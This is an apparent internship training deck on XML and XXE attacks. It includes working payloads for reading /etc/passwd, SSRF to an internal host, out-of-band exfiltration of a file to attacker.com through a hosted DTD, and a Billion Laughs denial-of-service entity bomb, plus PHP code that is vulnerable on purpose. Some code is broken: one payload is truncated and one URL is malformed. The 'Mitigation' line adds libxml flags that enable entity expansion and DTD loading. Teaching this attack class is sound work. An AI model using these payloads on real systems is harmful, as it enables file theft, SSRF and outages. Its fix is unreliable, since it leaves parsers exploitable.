Understanding XML and Exploiting XXE Vulnerabilities

Corelia Internship Session

Introduction to XML

- **What is XML?**
- Extensible Markup Language.
- Used to store and transport data.
- Human-readable and machine-readable format.
- **Structure of XML:**
- `<?xml version="1.0"?>`
- `<note>`
- `  <to>John</to>`
- `  <from>Jane</from>`
- `  <message>Hello, World!</message>`
- `</note>`
- Common use cases: Configuration files, data interchange, APIs (e.g., SOAP).

Introduction to XML

- Case Sensitive:
- <?xml version="1.0"?>
- <note>
- <to>John</To> Not Allowed
- <from>Jane</from>
- <message>Hello, World!</message>
- </note>
- Donot support special chars in usual way
- <?xml version="1.0"?>
- <note>
- <to>John”’><</To> Not Allowed
- </note>

What is XXE?

- **Definition:** XML External Entity (XXE) is a vulnerability that allows an attacker to interfere with the processing of XML data.
- **Why does it occur?**
- Misconfigured or vulnerable XML parsers.
- The parser processes external entities referenced in the XML.
- **Impact:**
- Data extraction (Sensitive data leakage).
- Server-side request forgery (SSRF).
- Denial of Service (DoS).
- Remote Code Execution (RCE).

Key XML Concepts Relevant to XXE

- **DTD (Document Type Definition):**
- Specifies the structure and rules for an XML document.
- Allows defining custom entities.

```
<!DOCTYPE note [
  <!ELEMENT note (to, from, message)>
]>
```

- **Common Use Case:** Defining reusable entities and structure for consistent data representation.

Key XML Concepts Relevant to XXE

- **External DTD:**
- A DTD stored in an external file or URL.
- `<!DOCTYPE example SYSTEM "http://example.com/external.dtd">`
- **XML Entities:**
- Placeholder references used to include text or data.
- `<!ENTITY example "This is an entity.">`

Example

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY nbsp " ">
<!ENTITY writer "Writer: Donald Duck.">
<!ENTITY copyright "Copyright: W3Schools.">]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
<footer>&writer; &copyright;</footer>
</note>
```

Detailed Examples of DTD and XXE Exploitation

- **Basic DTD with an Internal Entity:**
- `<!DOCTYPE example [`
- `  <!ELEMENT example (#PCDATA)>`
- `  <!ENTITY customEntity "Custom Value">`
- `]>`
- `<example>&customEntity;</example>`
- Output: "Custom Value“ replaces `&customEntity;`

Types of XXE Vulnerabilities

- **In-band XXE:**
- Data is sent back in the application's response.
- **Out-of-band (OOB) XXE:**
- Data is sent to an external server controlled by the attacker.

Error Based: picture via Mohamed Sayed Flex

Exploit

Error Based Example

If we send a payload like that

```
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passw
<root>
    <search>name</search>
    <value>&xxe;</value>
</root>
```

The output will be in error like that

```
HTTP/1.1 200 OK
Content-Type: application/xml
Content-Length: 2467
<?xml version="1.0" encoding="UTF-8"?>
<errors>
    <error>no results for name root:x:0:0:root:/root:/bi
    daemon:x:1:1:daemon:/usr/sbin:/bin/sh
    bin:x:2:2:bin:/bin:/bin/sh
    sys:x:3:3:sys:/dev:/bin/sh
    sync:x:4:65534:sync:/bin:/bin/sync....
    </error>
</errors>
```

External Entity for File Disclosure:

- `<!DOCTYPE foo [`
- `  <!ELEMENT foo ANY>`
- `  <!ENTITY xxe SYSTEM "file:///etc/passwd">`
- `]>`
- `<foo>&xxe;</foo>`
- **Result:** Content of /etc/passwd included in the response

External Entity for SSRF:

```
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "http://internal-system.local/admin">
]>
<request>
  <content>&xxe;</content>
</request>
```

Out-of-Band (OOB) XXE
Attack Flow

- The attacker hosts a malicious DTD file on their server: http://attacker.com/malicious.dtd
- `<!ENTITY % file SYSTEM "file:///etc/hostname">`
- `<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http::://attacker.com/log?x=%file;'>">`
- `%eval;`
- `%exfil;`
- Attacker's Malicious XML Input:
- `<?xml version="1.0" encoding="UTF-8"?>`
- `<!DOCTYPE foo [`
- `  <!ENTITY % xxe SYSTEM "http://attacker.com/malicious.dtd">`
- `  %xxe;`
- `]>`

demo

Vulnerable code:

```php
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $xml = file_get_contents('php://input');
    try {
        $dom = new DOMDocument();
        $dom->loadXML($xml, LIBXML_NOERROR | LIBXML_NOWARNING);
        $data = simplexml_import_dom($dom); // Parse XML data

        // Process the parsed data
        echo "Product ID: " . htmlspecialchars($data->productId) . "<br>";
        echo "Store ID: " . htmlspecialchars($data->storeId) . "<br>";
    } catch (Exception $e) {
        echo "Invalid XML";
    }
}
?>
```

Mitigation

- `$dom->loadXML($xml, LIBXML_NOERROR | LIBXML_NOWARNING | LIBXML_NOENT | LIBXML_DTDLOAD);`

```
libxml_disable_entity_loader(true);
```

Billion Laughs Attack?

```
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
```

Questions?!